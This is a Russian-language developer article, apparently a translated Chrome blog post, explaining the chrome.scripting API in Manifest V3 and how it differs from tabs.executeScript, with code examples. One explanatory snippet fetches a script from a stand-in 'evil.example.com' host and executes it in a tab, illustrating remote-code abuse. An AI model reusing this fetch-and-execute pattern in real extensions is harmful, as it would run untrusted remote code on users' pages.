Манифест V3 вносит ряд изменений в платформу расширений Chrome. В этом посте мы рассмотрим мотивы и изменения, вызванные одним из наиболее заметных изменений: введением API chrome.scripting
.
Что такое chrome.scripting?
Как следует из названия, chrome.scripting
— это новое пространство имен, представленное в Манифесте V3, отвечающее за возможности внедрения сценариев и стилей.
Разработчики, создававшие расширения Chrome в прошлом, возможно, знакомы с методами Manifest V2 в API вкладок, такими как chrome.tabs.executeScript
и chrome.tabs.insertCSS
. Эти методы позволяют расширениям внедрять на страницы скрипты и таблицы стилей соответственно. В Manifest V3 эти возможности перенесены в chrome.scripting
, и в будущем мы планируем расширить этот API некоторыми новыми возможностями.
Зачем создавать новый API?
При таких изменениях один из первых вопросов, который обычно возникает: «Почему?»
Несколько различных факторов привели к тому, что команда Chrome решила ввести новое пространство имен для сценариев. Во-первых, Tabs API — это своего рода мусорный ящик для функций. Во-вторых, нам нужно было внести критические изменения в существующий API executeScript
. В-третьих, мы знали, что хотим расширить возможности сценариев для расширений. В совокупности эти проблемы четко определили потребность в новом пространстве имен для размещения возможностей сценариев.
Ящик для мусора
Одна из проблем, которая беспокоила команду разработчиков расширений в течение последних нескольких лет, заключается в том, что API chrome.tabs
перегружен. Когда этот API был впервые представлен, большинство предоставляемых им возможностей были связаны с широкой концепцией вкладок браузера. Однако даже на тот момент это был своего рода набор функций, и с годами эта коллекция только росла.
К моменту выпуска Manifest V3 API вкладок расширился и теперь охватывает базовое управление вкладками, управление выбором, организацию окон, обмен сообщениями, управление масштабированием, базовую навигацию, сценарии и несколько других более мелких возможностей. Хотя все это важно, это может быть немного утомительно для разработчиков, когда они только начинают работу, и для команды Chrome, когда мы поддерживаем платформу и рассматриваем запросы сообщества разработчиков.
Еще одним усложняющим фактором является то, что разрешение tabs
не совсем понятно. Хотя многие другие разрешения ограничивают доступ к определенному API (например, storage
), это разрешение немного необычно тем, что оно предоставляет расширению доступ только к конфиденциальным свойствам экземпляров Tab (и, как следствие, также влияет на Windows API). Понятно, что многие разработчики расширений ошибочно полагают, что это разрешение им необходимо для доступа к методам API вкладок, таким как chrome.tabs.create
или, что более уместно, chrome.tabs.executeScript
. Удаление функциональности из API вкладок помогает прояснить часть этой путаницы.
Критические изменения
При разработке Manifest V3 одной из основных проблем, которые мы хотели решить, были злоупотребления и вредоносное ПО, создаваемое «удаленно размещенным кодом» — кодом, который выполняется, но не включен в пакет расширения. Авторы злоумышленных расширений часто выполняют сценарии, полученные с удаленных серверов, для кражи пользовательских данных, внедрения вредоносного ПО и уклонения от обнаружения. Хотя хорошие актеры тоже используют эту возможность, в конечном итоге мы почувствовали, что оставаться в таком состоянии просто слишком опасно.
Существует несколько разных способов, с помощью которых расширения могут выполнять несвязанный код, но наиболее подходящим здесь является метод chrome.tabs.executeScript
манифеста V2. Этот метод позволяет расширению выполнять произвольную строку кода на целевой вкладке. Это, в свою очередь, означает, что злонамеренный разработчик может получить произвольный скрипт с удаленного сервера и выполнить его на любой странице, к которой имеет доступ расширение. Мы знали, что если хотим решить проблему с удаленным кодом, нам придется отказаться от этой функции.
(async function() {
let result = await fetch('https://evil.example.com/malware.js');
let script = await result.text();
chrome.tabs.executeScript({
code: script,
});
})();
Мы также хотели устранить некоторые другие, более тонкие проблемы в дизайне версии Manifest V2 и сделать API более совершенным и предсказуемым инструментом.
Хотя мы могли бы изменить сигнатуру этого метода в API вкладок, мы чувствовали, что между этими критическими изменениями и введением новых возможностей (описанных в следующем разделе) полный разрыв будет проще для всех.
Расширение возможностей сценариев
Еще одним соображением, которое учитывалось при разработке Manifest V3, было желание добавить дополнительные возможности создания сценариев в платформу расширений Chrome. В частности, мы хотели добавить поддержку сценариев динамического содержимого и расширить возможности метода executeScript
.
Поддержка сценариев динамического контента — давняя потребность в Chromium. Сегодня расширения Chrome Manifest V2 и V3 могут только статически объявлять сценарии содержимого в своем файле manifest.json
; платформа не предоставляет возможности регистрировать новые сценарии контента, настраивать регистрацию сценариев контента или отменять регистрацию сценариев контента во время выполнения.
Хотя мы знали, что хотим реализовать этот запрос функции в Manifest V3, ни один из наших существующих API не казался нам подходящим местом. Мы также рассматривали возможность согласования API Content Scripts с Firefox, но очень рано выявили пару серьезных недостатков этого подхода. Во-первых, мы знали, что у нас будут несовместимые подписи (например, прекращение поддержки свойства code
). Во-вторых, у нашего API был другой набор конструктивных ограничений (например, необходимость сохранения регистрации после окончания срока службы работника службы). Наконец, это пространство имен также позволит нам отнести нас к функциональности сценариев контента, где мы думаем о сценариях в расширениях в более широком смысле.
Что касается executeScript
, мы также хотели расширить возможности этого API за пределы того, что поддерживала версия API вкладок. Точнее, мы хотели поддерживать функции и аргументы, упростить работу с конкретными кадрами и контекстами, не относящимися к вкладкам.
В дальнейшем мы также рассматриваем, как расширения могут взаимодействовать с установленными PWA и другими контекстами, которые концептуально не соответствуют «вкладкам».
Изменения между tabs.executeScript и scripting.executeScript
В оставшейся части статьи я хотел бы более подробно рассмотреть сходства и различия между chrome.tabs.executeScript
и chrome.scripting.executeScript
.
Внедрение функции с аргументами
Обдумывая, как платформа должна будет развиваться в свете ограничений на удаленное размещение кода, мы хотели найти баланс между мощью выполнения произвольного кода и разрешением только сценариев со статическим контентом. Решение, к которому мы пришли, заключалось в том, чтобы позволить расширениям внедрять функцию в качестве сценария содержимого и передавать массив значений в качестве аргументов.
Давайте кратко рассмотрим (слишком упрощенный) пример. Допустим, мы хотим внедрить скрипт, который приветствует пользователя по имени, когда он нажимает кнопку действия расширения (значок на панели инструментов). В Манифесте V2 мы могли динамически создавать строку кода и выполнять этот сценарий на текущей странице.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/greet-user.js');
let userScript = await userReq.text();
chrome.tabs.executeScript({
// userScript == 'alert("Hello, <GIVEN_NAME>!")'
code: userScript,
});
});
Хотя расширения Manifest V3 не могут использовать код, не связанный с расширением, наша цель состояла в том, чтобы сохранить некоторую динамику, которую произвольные блоки кода обеспечивают для расширений Manifest V2. Подход с использованием функций и аргументов позволяет обозревателям Интернет-магазина Chrome, пользователям и другим заинтересованным сторонам более точно оценивать риски, которые представляет расширение, а также позволяет разработчикам изменять поведение расширения во время выполнения на основе пользовательских настроек или состояния приложения.
// Manifest V3 extension
function greetUser(name) {
alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
let userReq = await fetch('https://example.com/user-data.json');
let user = await userReq.json();
let givenName = user.givenName || '<GIVEN_NAME>';
chrome.scripting.executeScript({
target: {tabId: tab.id},
func: greetUser,
args: [givenName],
});
});
Таргетинговые рамки
Мы также хотели улучшить взаимодействие разработчиков с фреймами в обновленном API. Версия executeScript
Manifest V2 позволяла разработчикам ориентироваться либо на все кадры на вкладке, либо на определенный кадр на вкладке. Вы можете использовать chrome.webNavigation.getAllFrames
, чтобы получить список всех кадров на вкладке.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.tabs.executeScript(tab.id, {
frameId: frame1,
file: 'content-script.js',
});
chrome.tabs.executeScript(tab.id, {
frameId: frame2,
file: 'content-script.js',
});
});
});
В Манифесте V3 мы заменили необязательное целочисленное frameId
в объекте параметров необязательным массивом целых frameIds
; это позволяет разработчикам использовать несколько кадров в одном вызове API.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
let frame1 = frames[0].frameId;
let frame2 = frames[1].frameId;
chrome.scripting.executeScript({
target: {
tabId: tab.id,
frameIds: [frame1, frame2],
},
files: ['content-script.js'],
});
});
Результаты внедрения скрипта
Мы также улучшили способ возврата результатов внедрения скриптов в Manifest V3. «Результат» — это, по сути, окончательный оператор, оцененный в сценарии. Думайте об этом как о значении, возвращаемом при вызове eval()
или выполнении блока кода в консоли Chrome DevTools, но сериализованном для передачи результатов между процессами.
В Манифесте V2 executeScript
и insertCSS
возвращали массив простых результатов выполнения. Это нормально, если у вас есть только одна точка внедрения, но порядок результатов не гарантируется при внедрении в несколько кадров, поэтому невозможно определить, какой результат с каким кадром связан.
В качестве конкретного примера давайте посмотрим на массивы results
, возвращаемые версиями Manifest V2 и Manifest V3 одного и того же расширения. Обе версии расширения будут внедрять один и тот же сценарий контента, и мы будем сравнивать результаты на одной и той же демонстрационной странице .
// content-script.js
var headers = document.querySelectorAll('p');
headers.length;
Когда мы запускаем версию Manifest V2, мы получаем массив [1, 0, 5]
. Какой результат соответствует основному фрейму, а какой — iframe? Возвращаемое значение нам ничего не говорит, поэтому мы не знаем наверняка.
// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
chrome.tabs.executeScript({
allFrames: true,
file: 'content-script.js',
}, (results) => {
// results == [1, 0, 5]
for (let result of results) {
if (result > 0) {
// Do something with the frame... which one was it?
}
}
});
});
В версии Manifest V3 results
теперь содержат массив объектов результатов вместо массива только результатов оценки, и объекты результатов четко идентифицируют идентификатор кадра для каждого результата. Это значительно упрощает разработчикам использование результата и выполнение действий над конкретным кадром.
// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
let results = await chrome.scripting.executeScript({
target: {tabId: tab.id, allFrames: true},
files: ['content-script.js'],
});
// results == [
// {frameId: 0, result: 1},
// {frameId: 1235, result: 5},
// {frameId: 1234, result: 0}
// ]
for (let result of results) {
if (result.result > 0) {
console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
// Found 1 p tag(s) in frame 0
// Found 5 p tag(s) in frame 1235
}
}
});
Заворачивать
Обновления версий манифеста предоставляют редкую возможность переосмыслить и модернизировать API расширений. Наша цель с Manifest V3 — улучшить удобство работы конечных пользователей, сделав расширения более безопасными, а также улучшив удобство работы для разработчиков. Включив chrome.scripting
в Manifest V3, мы смогли помочь очистить API вкладок, переосмыслить executeScript
для более безопасной платформы расширений и заложить основу для новых возможностей сценариев, которые появятся позже в этом году.